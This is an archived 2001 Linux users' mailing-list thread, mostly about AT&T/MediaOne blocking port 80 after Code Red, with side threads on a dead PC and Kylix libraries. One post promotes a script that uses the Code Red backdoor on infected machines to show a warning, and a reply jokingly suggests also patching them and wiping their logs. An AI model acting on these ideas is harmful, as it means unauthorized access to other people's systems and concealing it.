<20010809090812.B2453@candle.mn.mediaone.net> On Thu, Aug 09, 2001 at 11:31:52AM +0000, scott.w.fischer@att.net wrote: > Here's the press release. > > "We are trying to protect our greater user population as a whole," > said AT&T spokeswoman Sarah Eder. The company provides cable Internet > access to 1.35 million residential customers, she said. > By blocking incoming traffic to Web servers, AT&T is effectively > shutting down the Web sites, which residential customers are not > supposed to be operating anyway, Eder said. > "According to our official use policy, customers are not permitted to > operate Web servers behind cable modems," she said. Wow, even their spokeswoman doesn't know her facts. AT&T corporate structure must be similar to a Dilbert society. Nate From PCZeilon at att.net Thu Aug 9 09:15:42 2001 From: PCZeilon at att.net (Carl & Paula Zeilon) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] Re: Dead computer In-Reply-To: <200108091319.f79DJ3Q09532@sprite.real-time.com> Message-ID: <5.0.2.1.0.20010809090510.026e8640@postoffice.worldnet.att.net> >Yes, you must have your power supply plugged into a motherboard or get a >tester from PC Power & Cooling for cheap. Go ahead & try the spare >motherboard. I suspect your old MB is toast. >Original Message ----- >From: "Miller, John" >To: >Sent: Thursday, August 09, 2001 7:22 AM >Subject: [TCLUG] Dead computer > > > > I got up this morning and turned on my computer and nothing happened, > > not even the fan on the p/s turned on. I swapped out the power supply > > with another that I had and still nothing. I took the original p/s and > > plugged it in and turned it on (I had it connected to an old pc switch), > > nothing. I remember reading a thread on a similar subject about p/s's > > and whether they could run with out a mb. My question is this. I have > > a mb laying around, it has a cpu and memory on it. If I plugged a p/s > > into it and turned it on, would that be enough to get the p/s working > > (provided it does work)? Could this be a result of age (the computer > > and mb are old (Cyrix 200 and AOpen 5A)) > > > > Thanks > > > > John Miller > > Dain Rauscher > > Information Services - Capital Markets > > Software Developer > > Phone: 612-547-7573 > > Fax: 612-547-7580 > > IS - Mail Stop: T23A > > E-mail: MailTo:JMiller2@DainRauscher.com From dieman+tclug at ringworld.org Thu Aug 9 09:16:00 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net> Message-ID: <20010809091600.Q6692@ringworld.org> * Steve Siegfried [010808 23:11]: > guy told me that AT&T has decided to block all inbound tcp/ip requests on > port 80 for any (all?) of their broadband (and dialup?) customers. So. What? > If someone could verify that I'm not the only one affected, then I think > it's past time I call the Public Utilities Commission to lodge a complaint. Read the part on services, it says "At Your Own Risk" these days. That means you have no rights. Also the PUC just cares about 'terrifed' services being thwacked these days, fuck it if you have low end dsl or cable. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jima at gimp.damnation.net Thu Aug 9 10:30:57 2001 From: jima at gimp.damnation.net (jima) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <5.0.2.1.0.20010809090327.00a44810@mail.eleetomatic.com> Message-ID: On Thu, 9 Aug 2001, Veldy wrote: > They are probably avoiding the message of "not allowing servers" because so > many DSL users CAN run servers. They need to compete. Cable infrastructure > is setup as a client system and not a server system. It is very > asynchronous. This is the main reason they probably don't allow it (it > affects others on the same node in a negative way when the uplink is > saturated). When I was with MediaOne, it was very clear they did NOT allow > servers. It was in the document I signed when my modem was installed (and > it was a one-way modem at that). Find that document and then look to see if > they have modified it since, and I am confident you will find the clause > that states that they do not want you to run servers. There's not a mention of running servers on the AT&T Broadband Terms And Conditions page: http://www.attbroadband.com/services/other/TermsAndConditions.html On the other hand, Exhibit A (v) states that "You may not post or transmit any file which contains viruses, worms, "Trojan horses" or any other contaminating or destructive features." Doesn't this mean that running an IIS server infected by Code Red is a violation? Hmm. Deep. I'm finding myself agreeing with Nate. AT&T doesn't seem to know its policies itself. All of the (somewhat lacking, contradictory?) data is scattered across different sites, domain names, servers...we'd probably have better luck asking the Magic 8-Ball. "Answer unclear." Damn. Jima From dieman+tclug at ringworld.org Thu Aug 9 09:17:35 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <007a01c120d9$208c4420$3028680a@tgt.com> Message-ID: <20010809091734.R6692@ringworld.org> * Thomas T. Veldhouse [010809 08:50]: > Also, that is the AT&T and @Home agreement. Users here use RoadRunner. AT&T/mediaone is *NO LONGER ROADRUNNER* Youve been notived via email before... -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dutchman at uswest.net Thu Aug 9 09:18:12 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] Dead computer References: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net> Message-ID: <3B729BA4.2010900@uswest.net> Miller, John wrote: > I got up this morning and turned on my computer and nothing happened, > not even the fan on the p/s turned on. I swapped out the power supply > with another that I had and still nothing. I took the original p/s and > plugged it in and turned it on (I had it connected to an old pc switch), > nothing. I remember reading a thread on a similar subject about p/s's > and whether they could run with out a mb. My question is this. I have > a mb laying around, it has a cpu and memory on it. If I plugged a p/s > into it and turned it on, would that be enough to get the p/s working > (provided it does work)? Could this be a result of age (the computer > and mb are old (Cyrix 200 and AOpen 5A)) I believe one thread also brought up the possibility that the motherboard battery could be dead. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From dieman+tclug at ringworld.org Thu Aug 9 09:19:13 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:53 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <008501c120da$7cdf4190$3028680a@tgt.com> Message-ID: <20010809091913.S6692@ringworld.org> * Thomas T. Veldhouse [010809 09:00]: > many DSL users CAN run servers. They need to compete. Cable infrastructure > is setup as a client system and not a server system. It is very Not because of the technology, but policing thousands of napster/etc services got really stupid annoying. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From florin at iucha.net Thu Aug 9 09:21:18 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Dead computer In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net>; from JMiller2@dainrauscher.com on Thu, Aug 09, 2001 at 07:22:16AM -0500 References: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net> Message-ID: <20010809092118.B2651@beaver.iucha.org> On Thu, Aug 09, 2001 at 07:22:16AM -0500, Miller, John wrote: > I got up this morning and turned on my computer and nothing happened, ^^^^^^^^^^^^^^^^^^^^^ This is the problem. Sleep till noon. > not even the fan on the p/s turned on. I swapped out the power supply > with another that I had and still nothing. I took the original p/s and > plugged it in and turned it on (I had it connected to an old pc switch), > nothing. I remember reading a thread on a similar subject about p/s's > and whether they could run with out a mb. My question is this. I have > a mb laying around, it has a cpu and memory on it. If I plugged a p/s > into it and turned it on, would that be enough to get the p/s working > (provided it does work)? Could this be a result of age (the computer > and mb are old (Cyrix 200 and AOpen 5A)) florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From veldy at veldy.net Thu Aug 9 09:23:56 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> <005801c120d5$437d1bc0$3028680a@tgt.com> <20010809090118.A2453@candle.mn.mediaone.net> Message-ID: <009a01c120de$ed5f5140$3028680a@tgt.com> Says you or your lawyer? Somehow, I think AT&T has all the authority in the world to enforce this. Further, it has been common knowledge for a long time that MediaOne explicitly did NOT allow you to run services. I have seen nothing that changed that with AT&T. I didn't do a search. Go here: http://help.broadband.att.com/ Look down in the lower left, item 4. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Nate Straz" To: Sent: Thursday, August 09, 2001 9:01 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > On Thu, Aug 09, 2001 at 08:14:43AM -0500, Thomas T. Veldhouse wrote: > > Here is a link that says you can not host servers. It is dated 6-27-2001. > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > Can you find the page that links to that page? I haven't found anyone > that can. Search results don't count. > > Nate > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 09:26:24 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <20010809091734.R6692@ringworld.org> Message-ID: <00a901c120df$45e02d80$3028680a@tgt.com> Not me -- I don't use AT&T cable, nor have I ever. I used MediaOne Roadrunner two years ago. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Scott Dier" To: Sent: Thursday, August 09, 2001 9:17 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > * Thomas T. Veldhouse [010809 08:50]: > > Also, that is the AT&T and @Home agreement. Users here use RoadRunner. > > AT&T/mediaone is *NO LONGER ROADRUNNER* > > Youve been notived via email before... > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 09:31:58 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <20010809091913.S6692@ringworld.org> Message-ID: <00b001c120e0$0cb5f8e0$3028680a@tgt.com> ----- Original Message ----- From: "Scott Dier" To: Sent: Thursday, August 09, 2001 9:19 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > * Thomas T. Veldhouse [010809 09:00]: > > many DSL users CAN run servers. They need to compete. Cable infrastructure > > is setup as a client system and not a server system. It is very > > Not because of the technology, but policing thousands of napster/etc > services got really stupid annoying. > Yes, because of technology. You clog your upload pipe on a Cable Modem, and all other uses on the node may suffer your greediness (DOCIS seems to have changed that some with timeshare round-robin stuff). A few people on the node clog the upload pipe and the entire node becomes congested because acks on regular user downloads can not get through. On DSL, assuming a properly configured ATM cloud, a single user clogs their upload pipe and it does not affect ANY other user until it gets to the ISP level. That level cable modem users must also endure. So, with the cable modem, your neighbors can screw you as well as your ISP, with DSL, only your ISP can screw you. Since, AT&T has not control at the neighborhood level, they don't want users hosting services. The only thing they can do is reassign homes to different nodes (which is most likely expensive, especially if they reduce the number of users per node) or cut of the service. Tom Veldhouse veldy@veldy.net > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 09:33:09 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Dead computer References: <5F82C717009DF446AD6C89008A29F3941D626B@MAIL4.corp.isib.net> <3B729BA4.2010900@uswest.net> Message-ID: <00bb01c120e0$37250260$3028680a@tgt.com> That usually only affects time keeping, at least that I have noticed. When the board has AC going to it, the battery should be irrelavent. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Perry Hoekstra" To: Sent: Thursday, August 09, 2001 9:18 AM Subject: Re: [TCLUG] Dead computer > Miller, John wrote: > > > I got up this morning and turned on my computer and nothing happened, > > not even the fan on the p/s turned on. I swapped out the power supply > > with another that I had and still nothing. I took the original p/s and > > plugged it in and turned it on (I had it connected to an old pc switch), > > nothing. I remember reading a thread on a similar subject about p/s's > > and whether they could run with out a mb. My question is this. I have > > a mb laying around, it has a cpu and memory on it. If I plugged a p/s > > into it and turned it on, would that be enough to get the p/s working > > (provided it does work)? Could this be a result of age (the computer > > and mb are old (Cyrix 200 and AOpen 5A)) > > > I believe one thread also brought up the possibility that the > motherboard battery could be dead. > > -- > Perry Hoekstra > E-Commerce Architect > Talent Software Services > perry.hoekstra@talentemail.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From JMiller2 at dainrauscher.com Thu Aug 9 09:47:02 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? Message-ID: <5F82C717009DF446AD6C89008A29F3941D626D@MAIL4.corp.isib.net> Here is my 2 cents worth: If we attbroadband people are not supposed to be hosting services and if the cr2 checks computers that are close to itself (withing the att network), then I would think that ATT would not had as large a problem with the virus as it did. Other people on the list reported very little activity, probably because very few infected computers were close to network. I beleive that there are lots of hosts on the ATT network, with lots of infections, and that is way there was so much activity. If there were no hosts, then the virus would have past over the att network and continued on it's marry way. I do have a webserver and it got hit with the ramen worm virus a while back. Mediaone sent me an e-mail warning me about the large amount of activty from my machine, and that was all that I heard from them. The virus did it's search and then quit. (I have since reload the OS and installed the patches) John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: Thomas T. Veldhouse [mailto:veldy@veldy.net] Sent: Thursday, August 09, 2001 9:24 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] AT&T/Mediaone does it again? Says you or your lawyer? Somehow, I think AT&T has all the authority in the world to enforce this. Further, it has been common knowledge for a long time that MediaOne explicitly did NOT allow you to run services. I have seen nothing that changed that with AT&T. I didn't do a search. Go here: http://help.broadband.att.com/ Look down in the lower left, item 4. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Nate Straz" To: Sent: Thursday, August 09, 2001 9:01 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > On Thu, Aug 09, 2001 at 08:14:43AM -0500, Thomas T. Veldhouse wrote: > > Here is a link that says you can not host servers. It is dated 6-27-2001. > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > Can you find the page that links to that page? I haven't found anyone > that can. Search results don't count. > > Nate > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Thu Aug 9 09:48:51 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Hotmail (FOMCROFLMAO) Message-ID: Ok, this was just posetd on Slashdot and I am laughing so hard I can barely breathe. Good thing they migrated from BSD, right? :-) http://www.sfgate.com/cgi-bin/article.cgi?f=/news/archive/2001/08/08/financial2044EDT0375.DTL&type=tech_article -Brian From lxy at cloudnet.com Thu Aug 9 09:59:30 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Hotmail (FOMCROFLMAO) In-Reply-To: Message-ID: Always remember to read all your TCLUG mail before posting :-) D'oh. -Brian From nate at techie.com Thu Aug 9 10:01:03 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <009a01c120de$ed5f5140$3028680a@tgt.com>; from veldy@veldy.net on Thu, Aug 09, 2001 at 09:23:56AM -0500 References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> <005801c120d5$437d1bc0$3028680a@tgt.com> <20010809090118.A2453@candle.mn.mediaone.net> <009a01c120de$ed5f5140$3028680a@tgt.com> Message-ID: <20010809100103.C2453@candle.mn.mediaone.net> On Thu, Aug 09, 2001 at 09:23:56AM -0500, Thomas T. Veldhouse wrote: > > On Thu, Aug 09, 2001 at 08:14:43AM -0500, Thomas T. Veldhouse wrote: > > > Here is a link that says you can not host servers. It is dated > 6-27-2001. > > > > > > http://help.broadband.att.com/faq.jsp?content_id=416&category_id=11 > > > > Can you find the page that links to that page? I haven't found anyone > > that can. Search results don't count. > > I didn't do a search. Go here: http://help.broadband.att.com/ > > Look down in the lower left, item 4. Top 5 Questions 1. How Do I Add an E-mail Account? 2. How Do I Install a Home Network? 3. How Do I Powercycle My Cable modem? 4. How Do I Change My Password? 5. How Do I Know if There's a Service Interruption in My Area? > Somehow, I think AT&T has all the authority in the world to enforce this. > Further, it has been common knowledge for a long time that MediaOne > explicitly did NOT allow you to run services. I have seen nothing that > changed that with AT&T. Common knowledge isn't fact. Isn't it common knowledge that you get cramps if you swim after eating? Inbreeding is common in Arkansas? Free software is the same as Open Source? There is a lot of common knowledge that is absolutely false. This is one of them. AT&T should have sent you a new agreement when they bought out MediaOne. If you haven't been a customer since the buyout... don't make me flame you. Nate From zibby+tclug at ringworld.org Thu Aug 9 10:01:46 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Warn them Code Red affected people Message-ID: This is up on #debian's info bot: http://www.stone.nu/projects/python_scripts/code_red_warn.py.gz The script goes through your access.log, finds the ip from any default.ida requests, and then sends a http request to the hacked box, forcing root.exe to start a browser on the users system that directs them to a warning page. It's neat. Not legal I'm sure, but neat non the less. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From cart0196 at umn.edu Thu Aug 9 10:16:12 2001 From: cart0196 at umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <20010809083629.A15238@sherohman.org> References: <20010807090957.D28861@sherohman.org> <20010809083629.A15238@sherohman.org> Message-ID: <01080910161204.00666@192.168.0.7> this is probably a bit off topic but here goes. the delphi 6.0 personal edition does not come with the clx libs. does this mean that the only way to get the clx libraries on a windows machine is to buy the $1000 plus delphi 6.0? bc-s On Thursday 09 August 2001 08:36 am, you wrote: > On Wed, Aug 08, 2001 at 08:50:19PM -0500, Mark Theiste wrote: > > Dave, > > > > > > The Windows version (Delphi) and the Linux version (Kylix) use > > > > > > different > > > > > > > libraries. Windows uses VCL (Visual Component Libraries), Linux > > > > > > uses CLX, > > > > > > > Windows uses *.dll runtime libraries, Linux uses *.so runtime > > > > > > libraries. > > > > > > > These libraries are simply the precoded tools that allow your > > > > > > program to > > > > I think I know what you mean but I would like to clarify your statment. > > Count the >s. I didn't say that, I quoted it from the message I was > responding to. From dante at plethora.net Thu Aug 9 10:33:50 2001 From: dante at plethora.net (Daniel Taylor) Date: Mon Jan 17 13:25:54 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809091734.R6692@ringworld.org> Message-ID: On Thu, 9 Aug 2001, Scott Dier wrote: > * Thomas T. Veldhouse [010809 08:50]: > > Also, that is the AT&T and @Home agreement. Users here use RoadRunner. > > AT&T/mediaone is *NO LONGER ROADRUNNER* > Never was either. I was rather disappointed when I had to change my E-Mail address because I could only get "Mediaone" branded service in my neighborhood. However: the AUP that was in effect when I signed up did not restrict server usage explicitly. It did however say that the customer was responsible for the security of their system. I guess all those poor Windows/IIS customers are in violation of that portion of the AUP. Dan From lxy at cloudnet.com Thu Aug 9 10:15:00 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809100103.C2453@candle.mn.mediaone.net> Message-ID: On Thu, 9 Aug 2001, Nate Straz wrote: > AT&T should have sent you a new agreement when they bought out MediaOne. > If you haven't been a customer since the buyout... don't make me flame > you. Ok, sorta OT. I have running in my apartment, and of course I've got linux boxen serving up all sorts of stuff (web, mail, IRC, etc). The funny thing is that when I signed up for service I got NOTHING resembling an AUP. I saw two sheet of paper, one was the work order that I had to sign to prove that yes, the cable tech showed up and yes, the cable modem was looking OK when he left. The second weas from the PC tech who made me sign something that yes, I had connectivity. I have both of these papers, and they say NOTHING about policies, just work orders. I've never been shown any sort of policy, and I thought that was weird. Anyway, if they got snooty and wanted to bust me, do I have any legit claim that I was never informed from ANYONE that I couldn't do it? As Nate pointed out it's "common knowledge" that you're not supposed to, but that may be a load of crap. -Brian From colin at tyr.med.umn.edu Thu Aug 9 10:15:59 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] Dead computer In-Reply-To: <00bb01c120e0$37250260$3028680a@tgt.com> Message-ID: If the power supply is an AT just punching the button should get a responce, the fan on the power supply should come on. If ATX you need a functioning mb to get a responce. I have extra AT power supplys and AT mbs and processors, One is a pentium 90 and one is a pentiurm 75 and a tower case. You can have them if you want them. Colin Kilbane From andy at theasis.com Thu Aug 9 05:17:01 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809100103.C2453@candle.mn.mediaone.net> Message-ID: On Thu, 9 Aug 2001, Nate Straz wrote: > Common knowledge isn't fact. Law isn't fact. > AT&T should have sent you a new agreement when they bought out MediaOne. Fact isn't relevant in this. AT&T can point to a document that backs them up if they want to squelch your complaints, and all the linux users in the Twin Cities can't afford to prove them wrong even if that's not legally sound. The best you can hope to do is convince AT&T that a coalition of customers all agree on the desire to be allowed to run certain classes of services over their link AND that it's in AT&T's econoomic (at least PR) interest to accomodate you. I won't deny that you have the power to change anything, but if you're going to continue to use a LUG mailing list to complain about this sort of stuff, please at least use it productively -- DO something rather than just rant. Andy > Nate From natecars at real-time.com Thu Aug 9 10:20:01 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: Message-ID: On Thu, 9 Aug 2001, Brian wrote: > Ok, sorta OT. I have running in my > apartment, and of course I've got linux boxen serving up all sorts of > stuff (web, mail, IRC, etc). The funny thing is that when I signed up for > service I got NOTHING resembling an AUP. I saw two sheet of paper, one > was the work order that I had to sign to prove that yes, the cable tech > showed up and yes, the cable modem was looking OK when he left. The > second weas from the PC tech who made me sign something that yes, I had > connectivity. I have both of these papers, and they say NOTHING about > policies, just work orders. I've never been shown any sort of policy, and > I thought that was weird. > > Anyway, if they got snooty and wanted to bust me, do I have any legit > claim that I was never informed from ANYONE that I couldn't do it? As > Nate pointed out it's "common knowledge" that you're not supposed to, but > that may be a load of crap. Did you sign up online, or call them? If you signed up online, was there that little text that says "You agree to follow all policies', yada yada yada? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From lxy at cloudnet.com Thu Aug 9 10:29:45 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: Message-ID: On Thu, 9 Aug 2001, Nate Carlson wrote: > > Did you sign up online, or call them? > > If you signed up online, was there that little text that says "You agree > to follow all policies', yada yada yada? I called them. Scheduled installation, they installed, it worked, no AUP anywhere. -Brian From sos at zjod.net Thu Aug 9 10:44:36 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010808234547.A20971@real-time.com> from "Bob Tanner" at Aug 08, 2001 11:45:47 PM Message-ID: <200108091544.KAA18072@zjod.net> I think we've pretty much beaten this topic to death. I'd like to thank Bob Tanner for his initial response explaining what was going on. BTW: Today's Stribune carries an article on page 1 of the Business section explaining what various ISPs are doing about CodeRed. -S From nate at techie.com Thu Aug 9 10:45:06 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: ; from lxy@cloudnet.com on Thu, Aug 09, 2001 at 10:29:45AM -0500 References: Message-ID: <20010809104506.D2453@candle.mn.mediaone.net> On Thu, Aug 09, 2001 at 10:29:45AM -0500, Brian wrote: > On Thu, 9 Aug 2001, Nate Carlson wrote: > > Did you sign up online, or call them? > > > > If you signed up online, was there that little text that says "You agree > > to follow all policies', yada yada yada? > > I called them. Scheduled installation, they installed, it worked, no AUP > anywhere. I also called them. I did a self install. The cable guys tested the line, dropped off the box and left. I found in there the hardware, and a blue packet with a (useless CD), installation instructions, a form to sign (which wasn't collected), and the Subscriber Agreement. This was June 15th. Nate Straz From gje at parrotheaven.com Thu Aug 9 10:44:45 2001 From: gje at parrotheaven.com (Greg Evans) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] Warn them Code Red affected people In-Reply-To: References: Message-ID: <20010809104445.A6343@parrotheaven.com> I just hope it works! I'm sick of seeing that junk in my logs! Andy Zbikowski (Zibby) [zibby+tclug@ringworld.org] wrote: > This is up on #debian's info bot: > http://www.stone.nu/projects/python_scripts/code_red_warn.py.gz > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- /* Greg Evans, Bloomington, MN., USA - gje@parrotheaven.com */ ------------- "Whatsoever is contrary to nature is contrary to reason, and whatsoever is contrary to reason is absurd" - B. Spinoza -------------- next part -------------- A non-text attachment was scrubbed... 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Cheers, Phil -- "To misattribute a quote is unforgivable." --Anonymous From austad at marketwatch.com Thu Aug 9 12:02:23 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] Warn them Code Red affected people Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD5A@mspexch2.office.mktw.net> Maybe someone should modify it to download the patch for them, install it, remove the worm, and reboot. :) Oh yeah, and wipe the iis logs so they don't see that you did it, or make it go through safeweb.com. > -----Original Message----- > From: Greg Evans [mailto:gje@parrotheaven.com] > Sent: Thursday, August 09, 2001 10:45 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Warn them Code Red affected people > > > I just hope it works! I'm sick of seeing that junk in my logs! > > Andy Zbikowski (Zibby) [zibby+tclug@ringworld.org] wrote: > > This is up on #debian's info bot: > > http://www.stone.nu/projects/python_scripts/code_red_warn.py.gz > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > -- > /* Greg Evans, Bloomington, MN., USA - gje@parrotheaven.com */ > ------------- > "Whatsoever is contrary to nature is contrary to reason, > and whatsoever is contrary to reason is absurd" - B. Spinoza > From dd-b at dd-b.net Thu Aug 9 12:25:41 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] OT -- help paint the moon Message-ID: Some people here may be interested in this Sensawonda techie project: http://www.paintthemoon.org/ -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From jpschewe at mtu.net Thu Aug 9 12:33:49 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net>; from sos@zjod.net on Wed, Aug 08, 2001 at 11:10:14PM -0500 References: <200108090410.XAA26748@zjod.net> Message-ID: <20010809133349.A31294@mtu.net> On Wed, Aug 08, 2001 at 11:10:14PM -0500, Steve Siegfried wrote: > I was wondering why my WWW hit monitors suddenly went to zero. Then I > checked and found out why: No hits. When I logged into my backup ISP and > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > going through. You do realize that running a web server is against their user policy? So I'm surprised they didn't just shut you down when you complained. -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From kethry at winternet.com Thu Aug 9 12:54:24 2001 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <20010809133349.A31294@mtu.net> Message-ID: In our case (granted it wasn't AT&T or cablemodem related) US Internet arbitrarly and without notice decide to shut of all access through port 80 - now, we're a business customer that provides web based application service...can't we see a problem here? Shutting down port 80 was their response to Code Red *sigh* Liz On Thu, 9 Aug 2001, Jon Schewe wrote: > On Wed, Aug 08, 2001 at 11:10:14PM -0500, Steve Siegfried wrote: > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > > checked and found out why: No hits. When I logged into my backup ISP and > > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > > going through. > > You do realize that running a web server is against their user policy? So > I'm surprised they didn't just shut you down when you complained. > > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From austad at marketwatch.com Thu Aug 9 14:22:43 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD5F@mspexch2.office.mktw.net> Actually, running a webserver is not against their policy. They say you can at your own risk, read the AUP. However, elsewhere on your site, they say you can't. So it's kind of up in the air, but I would think the AUP has precedence over random rambling in their FAQ. Jay > -----Original Message----- > From: Jon Schewe [mailto:jpschewe@mtu.net] > Sent: Thursday, August 09, 2001 12:34 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] AT&T/Mediaone does it again? > > > On Wed, Aug 08, 2001 at 11:10:14PM -0500, Steve Siegfried wrote: > > I was wondering why my WWW hit monitors suddenly went to > zero. Then I > > checked and found out why: No hits. When I logged into my > backup ISP > > and tried "lynx http://zjod.net", I got, "Unable to 